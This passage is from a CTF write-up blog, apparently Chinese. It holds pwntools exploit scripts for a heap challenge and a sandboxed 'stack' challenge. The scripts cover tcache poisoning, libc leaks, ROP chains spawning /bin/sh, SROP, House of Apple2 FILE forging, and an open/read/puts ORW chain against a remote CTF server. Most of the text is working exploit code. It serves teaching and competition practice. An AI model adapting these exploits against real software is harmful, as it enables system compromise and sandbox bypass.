log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#

def add(idx, size):
p.sendlineafter(b"Choice: ", b"1")
p.sendlineafter(b"Index : ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())


def delete(idx):
p.sendlineafter(b"Choice: ", b"2")
p.sendlineafter(b"Index: ", str(idx).encode())


def edit(idx, data):
p.sendlineafter(b"Choice: ", b"3")
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendafter(b"data: ", data)


def show(idx):
p.sendlineafter(b"Choice: ", b"4")
p.sendlineafter(b"Index: ", str(idx).encode())


add(0, 0x70)
add(1, 0x70)
delete(0)
show(0)

p.recvuntil(b"Data: ")
heap_xor = u64(p.recvn(8))
heap_base = heap_xor << 12


delete(1)

fake_addr = heap_base + 0xef0 - 0x1000
payload = p64(fake_addr ^ heap_xor)
edit(1, payload)

add(2, 0x70)
add(3, 0x70)
show(3)
p.recvuntil(b"Data: ")
elf_base = u64(p.recvn(8)) - 0xb88 - 0x15000

add(0, 0x60)
add(1, 0x60)
delete(0)
delete(1)

# fake_addr = heap_base + 0xf70 - 0x1000
fake_addr = heap_base + 0xf60 - 0x1000
payload = p64(fake_addr ^ heap_xor)
edit(1, payload)

add(2, 0x60)
add(3, 0x60)

edit(3, p64(0) + p64(0xb1) + p64(elf_base + 0xf70 + 0x15000) + p64(0x500))

show(0)


p.recvuntil(b"Data: ")
libc_base = u64(p.recvn(8)) - libc.sym["write"]
system = libc_base + libc.sym["system"]
ldr_x0 = libc_base + 0x00000000000d8854
# : ldr x0, [x0]; ldr x1, [x0, #0x38]; ldr x1, [x1, #0x18]; blr x1; 0x0
gadget_ = libc_base + 0x0000000000120944
binsh = libc_base + libc.search(b"/bin/sh").__next__()

edit(3, p64(0) + b"/bin/sh\x00" + p64(heap_base + 0xef0 - 0x1000) +
p64(0x500) + p64(gadget_) + p64(system) + p64(system) * 2 + p64(heap_base - 0x1000 + 0xf80))
edit(0, p64(heap_base + 0xf68 - 0x1000))

'''
edit(3, p64(libc_base + libc.sym["environ"]) + p64(0x500))
show(0)
p.recvuntil(b"Data: ")
stack_base = u64(p.recvn(8))
ret_addr = stack_base - 0x210

edit(3, p64(ret_addr - 0x18) + p64(0x1000) + p64(stack_base) + p64(0x500))

# edit(0, p64(heap_base + 0xf68 - 0x1000))

# 0x00000000000d8854: ldr x0, [sp, #0x60]; ldp x29, x30, [sp], #0x150; ret
# 0x0000000000069500: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret

ls(heap_base)
ls(elf_base)
ls(libc_base)
ls(stack_base)


# + p64(stack_base) + p64(system) + p64(0) + p64(libc_base)
# + p64(stack_base) + p64(binsh)
payload = p64(ldr_x0)
payload += p64(stack_base)

payload += p64(heap_base + 0x80)
payload += p64(heap_base + 0xf70 - 0x1000)
payload += p64(heap_base + 0x20)

payload += p64(system) * 12
payload += p64(binsh)
# payload += p64(system) * 0x30
payload = p64(ldr_x0)
edit(0, payload)
'''


# gdb.attach(target=("127.0.0.1", 1234))

p.interactive()

[Pwn] stack

题目信息

  • 题目介绍:我不需要libc,我猜你也可以不需要
  • 附件:附件.zip

题解

一个结构很简单的程序,沙箱禁掉了openexecveexecveat,提供了两次栈溢出的机会,第一次溢出内容较少(0x18),第二次内容较多(0x200)

注意到第一次溢出后有一个printf("%s")输出,我们可以利用第一次的溢出泄漏栈地址信息,从而为之后的攻击做准备

注意到题目的exit是通过syscall完成的,意味着给我们提供了syscall相关的gdaget.我们可以通过readprintf等函数来精确控制rax,配合syscall完成多次SROP,最终成功ORW

具体做法是先用SROP泄漏libc地址信息,之后直接构造长ROP链即可。

事实上libc中的open()函数为函数open64(),最终的系统调用是openat,因此直接用libc中的open()函数可以直接绕过沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
from pwn import *
from ctypes import *
# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

context(arch="amd64", os="linux", log_level="debug")
# Now no need tmux !
# context.terminal = ["tmux", "split", "-h"]
context.terminal = ["kitty"]
binary_path = "./stack/pwn"
libc_path = "./stack/libc.so.6"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote("pwn-c87565eec1.challenge.xctf.org.cn", 9999, ssl=True)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#
#
"""
0x000000000040140e: syscall; nop; pop rbp; ret;
"""

syscall = 0x000000000040140e

payload = b"a" * 0xf + b"|"
p.sendafter(b"name?\n", payload)

p.recvuntil(b"|")
stack_addr = recv(b"!")

payload = b"a" * 0x60
payload += p64(0)
# payload += p64(stack_addr + 0x40)
payload += p64(elf.plt["read"])

signal = SigreturnFrame()
signal.rip = elf.plt["puts"]
signal.rdi = elf.got["puts"]
signal.rsi = 0
signal.rdx = 0
signal.rsp = stack_addr + 0x100
signal.rbp = stack_addr + 0x100

payload += p64(syscall)
payload += bytes(signal)
payload += p64(0x4013D4)

p.sendafter(b"else?\n", payload)

sleep(1)

payload = b"b" * 15
p.send(payload)

"""
0x000000000002a3e5: pop rdi; ret;
0x000000000002be51: pop rsi; ret;
0x00000000000904a9: pop rdx; pop rbx; ret
"""

libc_base = recv(b"\n") - libc.sym["puts"]
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx = libc_base + 0x00000000000904a9

read = libc_base + libc.sym["read"]
puts = libc_base + libc.sym["puts"]
open = libc_base + libc.sym["open"]

sleep(1)
payload = b"a" * 0x58
payload += b"/flag\x00\x00\x00"
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(stack_addr + 0x140)
payload += p64(pop_rdx)
payload += p64(0x1000)
payload += p64(0)
payload += p64(elf.plt["read"])

p.send(payload)

sleep(1)

dbg(p)
paylaod = p64(pop_rdi)
paylaod += p64(stack_addr + 0xf8)
paylaod += p64(pop_rsi)
paylaod += p64(0)
paylaod += p64(pop_rdx)
paylaod += p64(0)
paylaod += p64(0)
paylaod += p64(open)
paylaod += p64(pop_rdi)
paylaod += p64(3)
paylaod += p64(pop_rsi)
paylaod += p64(stack_addr + 0x700)
paylaod += p64(pop_rdx)
paylaod += p64(0x100)
paylaod += p64(0)
paylaod += p64(read)

paylaod += p64(pop_rdi)
paylaod += p64(stack_addr + 0x700)
paylaod += p64(puts)
p.send(paylaod)

ls(stack_addr)
ls(libc_base)

p.interactive()